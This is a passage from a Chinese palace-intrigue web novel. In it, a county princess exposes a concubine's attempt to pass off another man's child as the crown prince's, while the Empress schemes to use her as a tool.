萧淼淼整个一她的脑残粉,见桑雪要对她下手,怎么可能忍得住? “初晴?”萧淼淼听到了喻初晴的话,想要收脚已经来不及了。 见喻初晴脸色这样难看,直觉自己闯祸了,怯怯地问:“我……是不是做错事了?” 旋即她很义气地道:“你放心,人是我踹的,不关你的事!皇后娘娘问起来,我来扛!” 皇后从辈分上是她的堂嫂,大不了把她父王叫来顶上就是了! 她父王有军功,即便是皇上也要给点面子。 但喻初晴现在没有空与她说这些,转头对薛涵说道:“涵涵,你看住喵喵,别让她做任何事。” 又对木棉道:“你留下看着。” 以萧淼淼的性子,指不定还会干出什么惊天动地的事来,到时候更不好收场。 她翻手,将太子留下的令牌拿出来递给合欢,道:“让覆雨立刻将人送进宫里来,速度要快!” “是!”合欢从未见过主子脸上露出这等神色。 喻初晴其人,任何时候都是从容自若的。 但今日,桑雪没事还好,倘若有事——她的胎出了事,这口锅栽在了萧淼淼头上,就相当于扣在了喻初晴的头上! 到时候皇后出面做主,惩处她们俩,即便不会要她们的命,对她们来说也是相当不利。 她一定要翻开这个局! 在喻初晴忙着下令时,薛涵也没闲着,双手拖住萧淼淼的同时,吩咐:“快去请太医候着,另外,禀报皇后娘娘!” 桑雪是太子侍妾,太子不在帝京,这事自然要经过皇后。 何况,乞巧宴是皇后的场子。 “救上来了救上来了!” 岸边的水没有多深,没太久,桑雪被打捞上来。 喻初晴立即朝伺候她的嬷嬷说道:“将她翻过来,趴在你的膝盖上,压住她的腹部,让她把水吐出来!” 萧淼淼听她这么说,就想上前去看桑雪死了没有。 薛涵拽住她,道:“淼淼别动,让初晴处理这件事,比你出头强!” 这位阁老嫡孙女,也是太了解喻初晴的本事。 除了事发突然第一时间,喻初晴有惊愣一瞬外,很快就冷静下来。 想来,是有了应对良策! “哦。”萧淼淼平时再胆大,从小也是父母兄长疼爱长大的尊贵郡主,遇上这样的事是六神无主。 喻初晴怕的就是她冲动。 好在,薛涵出身书香门第,是世家精心教养的嫡女,性子沉稳不冲动,也相当聪明。 她知道喻初晴会医术,但喻初晴没靠近桑雪——救人如救火的时候,喻初晴丝毫不动医者仁心是为何,那还用说吗? 避嫌! 开局惹上一个麻烦,再好心沾上去,一会儿就要成驴肝肺了! 上回桑老夫人死在永安县主府门外的事,不就是如此。 如果喻初晴上前救人,救好了得不到桑家人的感恩,出点什么状况还会被栽赃陷害! 跟随桑雪的嬷嬷,是太子的人。 并不是所有太子的人都知道太子的心思,但这个嬷嬷是知晓的。 听到喻初晴有条不紊地主持大局,这个嬷嬷的心也安了不少。 她赶忙听从喻初晴吩咐,用上了溺水急救法。 不多时,昏迷状态的桑雪连续吐出好几口水,悠悠转醒。 但,伺候她的丫鬟却大惊失色道:“桑夫人下面流血了!该不会是……小产了吧?” 听到“小产”二字,萧淼淼的脸色刷地白了:“她……她怀了身孕?不是……她怀了身子为什么还要跑出来?” 薛涵的脸色也白了。 皇后肯定是知道这件事,将桑雪召进宫、再让桑雪赴宴,所以…… 喻初晴见她二人都有惊惧之色,低声道:“你别急,皇后娘娘自有判断。” “可……”萧淼淼是皇家人,她岂能不知谋害皇嗣是什么罪? 那是太子的孩子! 完了完了完了…… 薛涵见她手都发抖了,赶忙摁住。 但薛涵自己,也并不是没有惊慌的。 她看向喻初晴,只见喻初晴虽然神色冷峻,却并没有乱。 不知为何,她忽然就把提着的心放下了。 “太医来了!” 乞巧宴是大型宫宴,为了预防各种突发状况,千秋殿内就有太医随侍。 这一叫,太医很快就到了。 湖心水榭这边的动静,很快就传开了,不多时,这边已经人满为患。 来的不仅是皇后,还有诸多跟着皇后一块儿游园的。 包括三皇子萧金煜、五皇子萧思远! 一下子,湖心水榭挤得满满当当。 皇后来了后,就不再有其他人吭声了。 苏佩云面色凝重地问:“太医,情况如何?” 两名太医上前给桑雪诊断,完了后双双脸色大变:“禀皇后娘娘,桑夫人这是……小产了!” 皇后脸色也跟着一变,立即道:“先把人抬回千秋殿!” 回到千秋殿内,有嬷嬷前去给桑雪检查。 最后得出的结论是:“娘娘,桑夫人腹中胎儿……确凿没了!” 小产除了流血,还会排出妊娠物,认定为小产很容易。 太子宠幸了桑雪,这件事早就传开了。 当然,喻初晴认定:是有心人故意传扬的! 八成是桑怀安。 因为这就是桑怀安要的结果! 现在好了,怀上了、没了! 但现在,最大的危机还是喻初晴面对的—— 苏佩云转头看向桑雪的随行嬷嬷,厉声喝道:“怎么回事,还不从实招来!” 喻初晴唇角微微一动。 不是后宫一员,但她也是真正体验宫斗了! 第128章 她忽然感觉恶心 那嬷嬷不敢隐瞒,将事情一五一十地说了一遍:“启禀娘娘,当时是这样的……” 当然,她是太子的人,字里行间对喻初晴还是比较维护的。 主要体现在两个重点: 其一,是桑夫人出言挑衅永安县主,说话相当难听,诋毁县主的清誉,甚至同时影响到太子的声誉; 其二,县主教训桑夫人,桑夫人企图把县主推湖里去,雎宁郡主为保护县主,不慎将桑夫人撞落湖里! 苏佩云微微挑眉,转头看向站在一起的小姐妹三人,轻声询问:“初晴,是这样吗?” 听到这话,萧淼淼都震惊了。 她自己都忍不住怀疑起来:我真的是不小心撞的? 不! 她很确定,她就是故意踢的。 因为受不了任何人、以任何方式伤害初晴! 要不是桑雪挂着太子侍妾的名头,别说踢湖里了,打不死这小贱人! 可太子的人,竟然向着她们说话嗳! 薛涵看了喻初晴一眼,眼里全都是敬佩——初晴就是厉害,能把所有关系都经营得很好。 太子的人都会下意识帮她说话! 初晴的八面玲珑,自己再学十年都不一定追得上。 当然—— 她不知道,喻初晴在现代,本就比她们多活了十年! 面对皇后的询问,喻初晴眼观鼻、鼻观心地道:“回娘娘的话,的确是桑夫人挑衅臣女在前,臣女冲动行事,造成不良后果,恳请娘娘责罚。” 萧淼淼一听,不能接受喻初晴把锅全扛了。 但她刚动了下,就被薛涵拽住了:“别把事情搞砸了!” 薛涵:开玩笑,小喵喵你除了小爪子还有啥?要是需要打架,关门放喵喵,很行;然而这种文斗的戏,凭你那点脑子,轮不上你! 萧淼淼性格的确是冲动,但她还是有点好:听劝! 被薛涵按住,就老实了。 苏佩云看着喻初晴,神色莫测。 喻初晴没有抬眼看皇后,坚决不接她的眼神戏,依旧保持恭谨的态度,盯着自己的脚尖。 开玩笑。 想用她当刀,也要看她愿不愿意! 现场气氛沉凝。 半晌后,苏佩云才开口:“本宫不能听一面之词,合该问一问当事人的说法。初晴,你觉得如何?” 喻初晴应:“娘娘英明!” 不得不说,皇后这个人还是挺阴险的——有点搞不明白,这样的皇后,怎么教出来萧景明那样略有些温吞的太子? 或许,她应该重新甄别萧景明这个人了! 站队储位之争,本就风险极大。 一着走错,满盘皆落索。 看多了“上岸第一剑、先斩意中人;登基第一刀,先砍大功臣”的戏码,她必须防一手! 喻初晴的态度滴水不漏,苏佩云窝在宽袖中的手,捏了捏拳头,偏头问:“桑雪醒了吗?” 王嬷嬷道:“已经醒了,在哭呢。” “走。”苏佩云带着人过去。 一大群人,殿内殿外都站满了。 苏佩云站在帘幕外面,扬声道:“这是太子第一个孩子,这样掉了,本宫也很痛心。” 开场白后,便是温声道:“但阿雪不用惊慌,事情的起因经过也要听你说一说,本宫才好公正严明地追究责任!” 一说追究责任,萧淼淼就看向喻初晴。 她伸手攥住喻初晴的手,用眼神说:有责任我来扛,反正不会对我怎么样的! 她父王是有兵权的定西王,她是皇家郡主,即便判罚也不会太重。 喻初晴反手捏住她的猫猫爪,微微摇了摇头。 众人只听得帘幕那头传来抽泣的声音,话说得陆陆续续的,却是义愤填膺:“是喻初晴推我的,我是说话挑衅她了,但她扇我巴掌、还推我落湖!我脸上还有巴掌印,这就是证据!” 苏佩云转头看向喻初晴:“你怎么说?” 喻初晴心里一万个卧槽。 不是对桑雪的,而是对皇后! 忽悠她做刀不成,现在想用硬逼的了? 心里一万只草泥马,她依旧面色淡淡,应道:“臣女莽撞,的确扇她了。” 顿了顿,又道:“盖因她污蔑臣女与太子殿下的关系,婶可忍叔不可忍!” 除了她自己,无人明白这话的意思:萧风岚那狗东西,皇后也该喊一声皇叔! 而她与萧风岚没有夫妻之名、却有夫妻之实,勉强也能当个“婶儿”! 她跟萧景明多说几句话,大醋精都要在醋海里游几圈,何况污蔑她与太子有什么? 要萧风岚在场……呵呵! 不等皇后开口,桑雪急吼吼地在那头反驳:“什么叫污蔑?太子殿下喜欢你,这件事就是事实!” 吃瓜群众:“!!!” 还有这事儿? 这是可以直接说的吗? 太子殿下不要面子的吗? 皇后不要面子的吗?! 苏佩云蹙眉。 喻初晴从容抬眸,对上苏佩云的眸光,道:“娘娘,太子殿下何等光风霁月之人,臣女云泥之别,岂敢肖想?至于太子殿下的心意,我想是桑夫人因妒生恨,有所误解吧?毕竟殿下此刻不在这里,这种事也无从分说,不是么?” “胡说!”桑雪怒斥:“喻初晴你这个人口齿伶俐,惯会狡辩!我亲眼看见、亲耳听到太子殿下说喜欢你,他就是与我……与我在床上……也是叫的你的名字!你还敢说,你没有勾搭太子!” 她越说越激动:“哼!我看你就是嫉妒,嫉妒我怀了太子的骨肉,所以故意害我孩子掉了!” 孩子掉了,她的希望就都没有了。 想到这点,她哭得更惨。 一定要这件事往死里安在喻初晴身上! 她哭哭啼啼地道:“皇后娘娘,您可要为我做主啊!我掉的可是太子殿下的骨肉,是您的孙子啊!” 她这一顿输出,信息量惊人。 听得外面的吃瓜群众炸裂! 说什么喻初晴都不痛不痒的,但其中某一句…… 她忽然感觉恶心。 太子跟桑雪睡觉的时候,叫她的名字? 如果是真的,她是否还站队萧景明,那就不一定了! 因为人一旦钻牛角尖,就会偏执;一旦偏执走上病娇的道儿,就容易发疯。 一旦某个人开始不按正常人性的范畴来发展,就会充满变数。 对喻初晴而言:所有一切不在她掌控范围的事情,都要重新做计划! 但她没有急躁,甚至不去做辩解。 在这种场合,越是着急辩解,越是容易掉进自证陷阱! 苏佩云看着她,为她这样沉稳的心性而赞赏不已。 但也着实气恼:太聪明了,若不服从管教,难以掌控。 她便故意为难:“初晴,你如何解释?” 喻初晴脸上露出恰到好处的茫然:“臣女的确是打了桑夫人,桑夫人过来撞臣女,推搡之间她自己坠落湖中。臣女私以为,这件事没有必要辩解!” 她不会解释太子是否喜欢她这件事,那是自己把屎盆子接过来往头顶上扣! 众人:“!!!” 她这心性,可太强了! 苏佩云也不是傻子,不会在这种场合去问:你是不是勾搭太子、太子是不是心悦你! 说穿了,对皇后没有任何好处,反而损了太子的声誉。 苏佩云只问:“即便是无意,皇嗣没了,此事你总要给个交代吧?” 这话砸下来,薛涵都为喻初晴捏了一把汗。 此时,合欢回来了,站在喻初晴身侧,冲她点点头。 喻初晴心内一定,唇角勾起一抹微笑,道:“那么,谁又能证明,桑雪肚子里怀着的,一定是皇嗣呢!” 此言一出,炸裂四座! 第129章 这个瓜又大又圆又香又甜 在所有人震惊的时候,喻初晴偏头,对着帘幕那边说道:“桑雪,这孩子怎么来的,你比谁都清楚吧!” 这一句,就不是惊了。 是炸裂! 苏佩云身为皇后的沉稳,一瞬间都端不住了:“你说什么?” 吃瓜群众:是啊,说的是什么,赶紧继续说啊。 这个瓜它又大又圆、又香又甜! 赶紧开啊! “我并非当事人,说的话不足以作为证词。”喻初晴面色从容,不紧不慢地说道:“这件事,就要问桑雪自己了!” 她朝苏佩云行了一礼:“娘娘可以亲自审问桑雪,桑老夫人丧仪之时,桑雪回了南阳侯府奔丧两日,都做了些什么!” 这里是皇后的场子,不是她的。 即便要审问,都不应该是她来主持局面,而是皇后。 她时刻谨记:不喧宾夺主,以免冲撞皇后的威严,没必要给自己惹麻烦。 苏佩云对喻初晴,当真是又赏识、又气恼! 这样聪明人,知道自己是谁、知道自己在做什么、知道自己能力在那儿…… 倘若不成为自己人,而是站到了敌对那一方…… 必须不能! 此事还需从长计议,先解决眼前的事要紧——毕竟她也是容不得桑雪的! 太子出征前夕,有来向母后辞别,当时她特意问过关于桑雪的安置。 萧景明的原话是:等南阳侯府消失后,桑雪自然也会无声无息地消失! 身为母亲,她立即知道儿子要做什么了。 就说嘛,怎么可能容忍一个爬床算计自己的女人活下去呢? 但没想到的是:桑雪怀孕了! 倘使已经有太子妃,倒无关紧要,让她把这个孩子生下来。 去母留子! 那是太子妃自己肚子不争气,让太子长子从其他女人肚子里爬出来,太子妃也只能是无可奈何。 但,太子尚未娶妃,先生下长子,岂非让将来的太子妃很难看? 所以,这个孩子留不得! 苏佩云原本的计划是:桑雪不是个聪明的,放她进人群里得罪人,一旦起了争执,可以找个由头把她往死里弄。 喻初晴,无疑是最好的人选。 但!!! 喻初晴,她能绝地反杀! “如此……”苏佩云不得不亲自审问:“桑雪,你可是听到初晴的话了?本宫问你,那两日你从太子府回南阳侯府,都做了什么?” 从喻初晴开始问话,桑雪就慌了。 那件事她恨不能永远烂在肚子里,喻初晴总不可能知道她做了什么吧? 桑怀安也已经把那个男人处理掉了,死无对证,她只要一口咬定没有乱七八糟的事就好! “妾回侯府,自然是去奔丧的。回去后发现,家母接连遭受打击病倒了,那两日妾便没有在灵堂守孝,而是在照顾母亲病榻!” 这个说法,是桑怀安跟她对过口供的。 所以她回答得十分顺畅,听不出半点心虚。 苏佩云转头看向喻初晴:“疑点是你提的,你怎么说?” 喻初晴唇角一撇:“口说无凭,不如让桑夫人亲眼见一见,那两日与她同床共枕、共创皇嗣的男子吧!” 众人:共创皇嗣??? 永安县主是怎么想到用这种词儿的啊,绝妙! 只见她一挥手:“把人带上来!” 人群之中,分开了一条通道。 覆雨打头,后头跟着几名永安县主府的护卫,押着一个斯文俊秀的年轻男人,走上前来。 “婢子覆雨,是永安县主的近身侍婢,参见皇后娘娘!”覆雨抱拳单膝跪地行礼。 那男子跟着老老实实地跪地磕头。 所有人震惊地看着眼前的事态发展。 苏佩云看向喻初晴,问:“他……”就是你说的与桑雪偷情的外男? 这种话她都羞耻于说出口! 让太子情何以堪! 但! 喻初晴办事,果然老到。 遇上了这样的事,依旧不慌不张、有条不紊。 喻初晴看向那男子,道:“当着皇后娘娘的面,你自己讲述吧。坦白从宽,若揭穿了有些人想要混淆皇室血脉的阴谋,也算将功补过。皇后娘娘仁善,会从轻发落的!” 她转头面向皇后,福身一礼:“恳求娘娘,给一个坦白从宽的机会!” “准了。”苏佩云对喻初晴是又爱又恨。 都不需要弄脏手,就把事情办得这样漂亮! 但,不服自己管、不愿意效忠自己,这也是个问题! 一把锋利的刀,如果无法掌控,会反过来割伤自己。 喻初晴对那男子道:“你说吧。” 男子便老实讲述:“小人梁山,是北郊普善村的农户子,早年家中有点资产,供小人读书。但后来家中变故,贫困潦倒。前阵子,父亲突发重疾无钱治病,恰逢有人找上小人,说是……说是只要小人愿意与一位贵女……与她……行……行那周……周公之礼……助、助她成功受孕……” 虽然家贫却也是个读书人,当着这么多人面前讲这种事,他也很难为情,吞吞吐吐的。 之后就顺畅多了:“那位贵女会给小人一百两银子,不但足够父亲治病,甚至还有剩余可以继续读书!小人便心动了!” “桑老夫人丧仪的后两日,他们来到小人家中,将小人眼睛蒙住,用马车送小人进了一处宅院。” “关在屋子里,蒙眼布倒是解开了,当时小人也并不知晓那是何处。” “直到……直到那位贵女出现,小人一眼认出来,她是南阳侯府刚接回来的嫡女!” “只因上回,这位贵女跟南阳侯去永安县主府闹事,小人路过,听人说起瞧见过一眼,这才认出了她!” “此后两日……” 说到羞耻的地方,他又开始坑坑巴巴:“此后两日,小人便一直没出那扇门,那位南阳侯嫡女让小人蒙上眼睛,连续两日……连续两日……” “不必说了!”苏佩云听不得这种污秽粗陋的事。 提头知尾! 她化繁为简,问:“你的意思是,桑雪花了一百两银子买你两日,让你助她怀上孩子?” 梁山跪在地上,汗水一滴滴落下去、坠落在地。 “回娘娘,是这样的!”因为害怕,他全身都是颤抖的:“原本说的是,倘使没怀上,之后还会要用到小人。但……” “但这位贵女说话不算话!” “两日后,并没有放小人离去,而是命人将小人从后门带出。把小人带到了西郊乱葬岗,企图杀害!” 第130章 卖人者,人恒卖之! 听到这里,众人不由一片唏嘘。 这只瓜太熟了,不用刀,只要轻轻一拍就炸裂了! 能来参加乞巧宴的,又有哪一个家中内宅是干干净净、没有任何腌臜阴损事儿的呢? 仅仅是说得这般含糊,他们已经都听明白了。 杀人灭口! “既是他们想杀你灭口,你又如何活下来的?”苏佩云的脸色无比难看。 梁山应道:“事发当时,有人把小人救下。后来小人才知晓,救了小人一命之人,竟然是永安县主!” 他朝喻初晴磕了个头:“县主大人,多谢您救命之恩!” 喻初晴面色淡然,受了他这一礼,道:“举手之劳。” 然后问题来了—— 苏佩云问:“初晴,你又如何恰好在乱葬岗那边救了他呢?” 成天救这个救哪个,救的还都是重要的人。 这位永安县主也是个奇人! 如果她把这疑问问出来,喻初晴大概会回答她:一张大网撒进大海,总会捞中鱼的! 救一百个人,只要有几个人对她感恩,那她就是赚了的! 她微微一笑,道:“实不相瞒,并非是恰巧。乱葬岗这种地方,没事的话谁会去那里?实际上,是我被南阳侯府的人,接二连三地栽赃、陷害、算计,弄得有了被害妄想症!为了防止他们下一次害我,我花银子请人一直盯着侯府的动静,一旦有怪异之处立即跟上查探!” 对于监视南阳侯府,她都敢坦言:“于是,我听说了,侯府后门送进了一个奇怪的男子,便让人一直守着。果然不出所料,三四日后,那个男子被从后门送了出来,一路送到西郊乱葬岗!这不,顺势将这名男子救下了!” 众人听得好生佩服! 不过,也是同情。 此事怨不得喻初晴,南阳侯府的人像水蛭一样,被沾上刮都刮不掉! 苏佩云看着她,问:“所以,你知晓桑雪怀身孕的事?” “回娘娘,初晴并不知晓此事。” 喻初晴其实知道,但她不会承认:“也是方才桑夫人掉了孩子后,初晴才知道她真怀上了!当时初晴想的便是,万一她又栽在我头上陷害我,怎么办呢?故而,立即差人出宫,去把梁山给带进来,好拆穿桑雪想要混淆皇室血脉的阴谋!” 说着,她一摊手:“如大家所见,她果然又扣屎盆子在我头上了!” 苏佩云:“……” 其他人:“……” 她真行! 这反陷害能力,杠杠的! 其实,喻初晴不是很想在皇宫里做这件事。 掌握这样的证据,但凡萧景明在帝京,她都会直接让萧景明去做。 她不喜欢冒头,枪打出头鸟,冒头容易被削。 只能说,防不胜防! 苏佩云猜想:这小妮子才智惊人,她肯定没说实话。 但,也滴水不漏! 既然喻初晴不肯亲自操刀,把刀送到了自己面前,身为皇后也只能握住这把刀。 没想到,自己想让喻初晴当刀,结果是自己成了刀! 苏佩云很是气恼:“把桑雪给本宫拖出来!” 喻初晴早就知道了这件事,却密而不发,就是留着给自己做筹码。 此女心计太可怕,如果不能为己所用,必须除掉她! 苏佩云心里想什么,面上并不显露。 桑雪也已经被拖出来,跪在地上哭诉:“皇后娘娘,不是这样的!我是被冤枉的!是她……是喻初晴故意设局陷害我的!” “事到如今,你还敢狡辩!”苏佩云原先一直是和善的,此时厉声怒斥:“桑雪,你通过不正当手段,成为太子侍妾。太子善良,让你入了太子府。谁知你还不老实,竟然敢用这种腌臜招数来对付太子!” 她怒喝道:“怀上了野种,也敢栽在太子的头上,让本宫好一阵欣喜!” “听说此事时有多欣喜,事情败露后,本宫就有多失望、有多愤怒!” “来人,将这个不要脸的贱婢拖下去,杖毙!” 终于得了合适的情由,将桑雪打死了。 皇后算是放下了一块心头大石! 桑雪一听,惊恐极了。 她慌不择言,张口便是:“不是的!这件事不是我做的!我是被逼的,我真的是被逼才会做这样的事的啊!皇后娘娘,我不想背叛殿下的!我不想死啊!” 闻言,众人都不由纷纷侧目。 这是自己死不算,还要拉人当垫背的啊? 喻初晴:“……” 恭喜桑怀安,喜提背刺一刀! 果然—— 苏佩云问:“何人逼迫于你?” 桑雪脱口而出:“是我二哥!是桑怀安,这些计谋都是他出的!当初在国子监,让我去爬太子殿下床的,就是他!这一次让我怀别人的孩子说是太子的,也是他!连这个男人都是他找来,强迫我的!求皇后娘娘开恩,放我一条生路啊!” 喻初晴:“!!!” 啪啪啪,鼓掌。 因为桑雪怕死,把本可置身事外的桑怀安给拖了进来。 这下,桑怀安也摘不干净了! 当然,他本来就不干净。 唯利是图不一定是罪,但他做的亏良心的事可就多了。 从前她还在侯府,桑怀安就屡次盘算着,想把她嫁入皇家换取皇亲国戚的身份。 找过好些个,都碰壁了。 宁亲王,就是他推荐给南阳侯的! 只不过她亲自找上门去,把宁亲王说服了,打发了桑文柏。 而桑雪回到桑家才多久,就被哥哥卖了。 卖人者,人恒卖之! 喻初晴偏头对覆雨耳语:“将消息送给林大学士和梁祭酒。” 他们等的,就是这个时机! 事关翰林院庶吉士,这件事皇后压不住,必定会闹到皇帝那儿去。 接下来,就要看林畅和梁实的能耐了! “是。”覆雨悄然退了出去。 这边,桑雪的话扔出来后,现场一片寂静。 在场的也有关注过桑怀安的,毕竟都是官家女子,京中儿郎虽然多,总是想嫁给潜力股的。 桑怀安样貌还不错,年纪轻轻已经是翰林院庶吉士,很有前途。 即便南阳侯已经无法袭爵,但退一步讲,袭爵也轮不到桑怀安,那是嫡长子的事。 所以,家中底蕴不是很深的门户、还有一些偏房所出的姑娘,就会把目标定在桑怀安这类学子的身上。 谁的婚姻,不是一场豪赌? 赢的,光鲜亮丽。 输的,万丈深渊! 可桑怀安先前定了邱家。 现在,邱家那姑娘是所有官家闺秀同情的对象! 有些人的心思已经飘远了,苏佩云这边,继续发问:“你敢发誓,所言句句属实?” “皇后娘娘,我说的都是真的呀!”桑雪刚刚落水滑胎,她的身体很是虚弱,跪在地上哭得巨丑。 “求皇后娘娘饶我一命!” 苏佩云面色阴沉,道:“来人,将此事禀报皇上,传桑怀安进宫!” 第131章 她就说要苟着吧 皇后内心愤怒:好一个南阳侯府嫡次子,竟敢这般算计她的太子! 事到如今,乞巧宴也就不欢而散了。 皇后下令,为了补偿大家,每个赴宴的姑娘都有赏赐,让她们提前出宫。 这些姑娘倒不觉得提前结束宴席亏了,吃亏的是吃瓜吃到一半,没了??? 千秋殿很快清空,苏佩云沉着脸道:“把桑雪和这个梁山带上,去乾坤殿见皇上!” 一甩袖,率先出去了。 桑雪立即被嬷嬷架起来,刚小产她身体虚弱,差点摔了。 喻初晴上前一步,扶住桑雪的胳膊。 桑雪一愣。 看见喻初晴,她就来气:“你毁掉我的一切,你现在满意了!装什么好心,还过来扶我?” 喻初晴的手指按在她腕间停顿片刻,便松开了:“下意识动作,看见狗摔了都会扶的。看来你并不需要,倒是我多余了。” 她退开。 桑雪气得要死:“你!贱人!” 嬷嬷提醒道:“桑雪夫人还是先顾着自己吧!” 说完拖着桑雪出去了。 不多时,千秋殿已经没什么人。 喻初晴、薛涵和萧淼淼三人,落在最后。 “这个桑雪,也太搞笑了!她凭什么以为,怀个野种栽给太子这种事,能成?就她那点小九九?” 萧淼淼说得义愤填膺:“要不是初晴早有安排,今天这事儿,我不死也要脱一层皮!” 薛涵没有心思应她的骂骂咧咧,而是看向喻初晴,低声问:“初晴,你刚才是故意扶桑雪,给她诊脉?” 她还是了解喻初晴的。 喻初晴虽然平素温和,却不是一个热心肠的人,哪怕表面上她跟谁都很要好。 面对桑雪这种敌对之人,她只会离得越远越好,以免一个不留神就被碰瓷! 如无必要,她不会做这种多余的事。 “嗯。”喻初晴颔首,道:“果然不出所料,她在出事之前,吃了含有红花的东西,导致的滑胎。” 萧淼淼震惊:“也就是说,无论对上的是谁,只要有一点动静,桑雪都可能滑胎?” 她只是性格冲动,却并不愚蠢:“所以,咱们是被皇后娘娘当刀使了?” 用脚趾头也能想到啊,桑雪进宫是皇后安排的。 桑雪没跟任何人有过交情,她出身又不好,靠爬床做太子侍妾,很丢人的。没人愿意与她说话,更不要说给她吃东西。 而桑雪怀孕的事,还是滑胎了才曝光的,不可能有别人算计在前。 下药的人,只会是皇后! 喻初晴轻轻颔首:“是。” 薛涵的脸色也难看起来:“不然呢?” 萧淼淼更怒,道:“我们招她惹她了吗!” “依我看,不是对你也不是对我。”薛涵叹息一声,道:“以前谁知道初晴跟我们交好呀?皇后娘娘,应是冲初晴来的。” 她担忧地看向喻初晴,问:“是不是因为太子的事?” “是哦!”萧淼淼一拍手掌:“现在大家都知道太子心悦你了!桑雪那个女人,当真是没有脑子!” 喻初晴的直觉相当敏锐:“我认为,皇后的态度,不是因为太子对我有什么心思,而是……她想让我成为她的刀,为太子披荆斩棘、当开路先锋!” 至于送太子上去后,狡兔死走狗烹,为了避免她太锋利反杀自己,她这把知道太多的刀,被除掉岂非也很正常? 她就说要苟着吧! 一旦露一点好出来,就会被人盯上。 在这皇权时代,只有闷声S发大财才是最好的选择! “看上你的智谋了!”薛涵叹了一口气,道:“一如宫门深似海,初晴,你不想当太子妃是对的。只是现在……太子对你上心、皇后娘娘又盯上你了,以后你会很麻烦呀!” “尤其是……”萧淼淼想到桑雪说的话,整个人都不好了:“什么叫……太子跟她那个啥的时候,叫的是你的名字?靠!恶不恶心!” 这个“靠”,当然是跟喻初晴学的。 提到这个,喻初晴也感觉隔夜饭都要吐出来了。 虽说,她不是没听说过这种事。 但那是看别人经历的啊,落到自己头上就卧了个大槽了啊! 她面无表情,道:“先走着看吧,现在桑雪和桑怀安这件事,应该就尘埃落定了。之后我就要离开帝京,回喻家祖籍认祖归宗。” 提到这个,她转头道:“你们在帝京,到时候生意多看顾点。我让钱大掌柜有什么事,去找你们帮忙。” 这俩小姐妹,一个有权势,一个有头脑。 如果两人综合成一个,不要太完美。 可惜有权势的冲动,有头脑的没权势! “好,你放心吧!”萧淼淼拍着胸脯:“包在我身上!” 但话音落,她又叹了一口气:“自从五年前回到帝京,我都被关在这里太久了!初晴,我也好想跟你出去玩啊!” 喻初晴立刻拒绝了:“那不行。” 如果只是回祖籍,她带个客人去,也许问题不大。 但她是打算在南陵附近停留,说不定会接触响马盗,带萧淼淼去太危险了! 哦,突然想起来,萧淼淼姓萧,带回祖籍做客,怕是也不受欢迎? “我也就是说说!”萧淼淼无奈地道:“不过我是真的想暂时离开帝京,父王母妃想给我议亲了,我想跑路!” 薛涵淡笑:“那还不好呀?” “好什么呀!”萧淼淼哼了一声,道:“与其嫁一个不熟悉的,我宁可在家将中招一个上门女婿!” 薛涵挑眉,笑了:“怎么你也想招赘?我可是记得,初晴的哥哥弟弟,都巴不得初晴赘婿在家。你哥他们会愿意吗?” “这个没问过!”萧淼淼摊手。 薛涵感兴趣地回头问喻初晴:“初晴,我看你的架势,很可能真的要招赘哦?你原本就是这个打算的。” 喻初晴笑了笑,心想:萧风岚那个狗东西是愿意的,但他们之间……估计还有好多事要解决,才有可能谈婚论嫁。 八字还没一撇呢! 嘴上道:“边走边看吧,暂时没想到这一步。” 说着说着,她们就来到了乾坤殿这边。 御书房外。 苏佩云抓着桑雪和梁山,进了御书房告状,三皇子与五皇子二人站在外头。 三人过来,向两个皇子行礼。 “免礼。”萧思远还是脾气很好,主动跟她们说明情况:“母后带着桑夫人在里面呢,父皇生了好大的气,命人立即传召桑怀安进宫!” 正说着,桑怀安就到了。 “怀安,见过三殿下、五殿下!” 第132章 杀人诛心是她的本能! 还是萧思远做代言人:“免礼。” 喻初晴用眼角的余光朝两个皇子脸上看去。 只见在桑怀安行礼时,萧金煜与桑怀安对视一眼,很快就错开了目光。 萧金煜不太爱说话,整个人身上透着一股阴鸷感,从那眼神看就能知道此人极狠。 只不过披着皇子尊贵的皮,掩盖了他骨子里那野兽的血腥味! 桑怀安的目光落在喻初晴脸上。 他不再讨好喻初晴,第一次将脸拉了下来:“喻初晴,你是故意的吧?故意跟桑家作对,想一次性扳倒我和阿雪,在我们之后,整个侯府就不剩任何对手了,你满意了?” 可恨,他看穿喻初晴太晚了。 毫无防备,就被喻初晴一步步将桑家彻底打垮。 喻初晴面不改色地看着他,问:“你还不完全知道发生了什么事吧?” 今日他该在翰林院当差,突然被传召,急匆匆赶来还穿着官服。若没人特意告知,他应该不知道事情的严重性! 桑怀安愣了下。 “无所谓,你很快就会知道的。”即便是两个皇子在,喻初晴说话略微收敛了一些,但依然是很直白的:“南阳侯府赶走我,我不埋怨。但你们要杀我,那我只好说声抱歉了!你们做了初一,就不要怪别人做十五!” 桑怀安气息一窒:“我没有害过你!” “嗯。”喻初晴淡淡说道:“你只是想让我给宁亲王做妾而已,是送我去享福,不是害我。同样的事你做过不低于五次,都没成,不是你心肠坏,倒是我不知好歹了!” 不得不说,萧风岚的茶艺真好用。 这话多气人啊! 桑怀安又是一噎:“你简直是巧舌如簧!” 听到这里,萧淼淼怒极。 这种事,她竟然不知道! 但她被薛涵扣住手,让她不要吭声。 有些时候,她们贸然行动并不是讲姐妹义气,而是愚蠢拖后腿! 反而可能坏喻初晴的事。 好比先前,萧淼淼受不了桑雪欺负喻初晴,那一脚出去了,将她自己和喻初晴都逼到一个艰难处境。 若非喻初晴早有防备,这个危机还不知道怎么过呢! 但—— 不也引来皇后对初晴的注意了吗? 倒是萧思远站出来打圆场:“桑怀安,你们南阳侯府做事,也的确有点不厚道。” 他竟是帮着喻初晴这边说话的:“宁皇叔都多大年纪了,永安年方十六七,堂堂的侯府嫡女做妾,这也不合适呀!你们到底怎么想的?” 若话是喻初晴说的,桑怀安忍不了一点。 可这话是五皇子说的,他便只能忍住脾气,甩过头去,道:“事到如今我也没有什么好说的!” 喻初晴面无表情,道:“我倒是有几句话想说。” 她歪头,问:“对于五年来我不遗余力打理中馈,时不时还拿自己赚的银子贴补你们,你以前不知情便罢了,如今既然知道了……还是觉得那是理所应当的么?” 其实,她不是很在意这个问题的答案。 那几个钱她真不在乎,开学堂养小乞丐一年下来,花的钱也差不多这个数吧。 但,杀人诛心是她的本能! 谁让她不高兴,她就让谁不高兴。 桑怀安顿了顿。 他不像桑怀民和桑怀志那般,一个自大、一个白目。 认真思索,情理上他们桑家的确是对她有亏欠的! 但:“所以,这就是你要灭掉整个南阳侯府的理由?你过去贴补侯府,不也是你自愿的吗?现在才来说不愿意,怪我吗?” 喻初晴笑了。 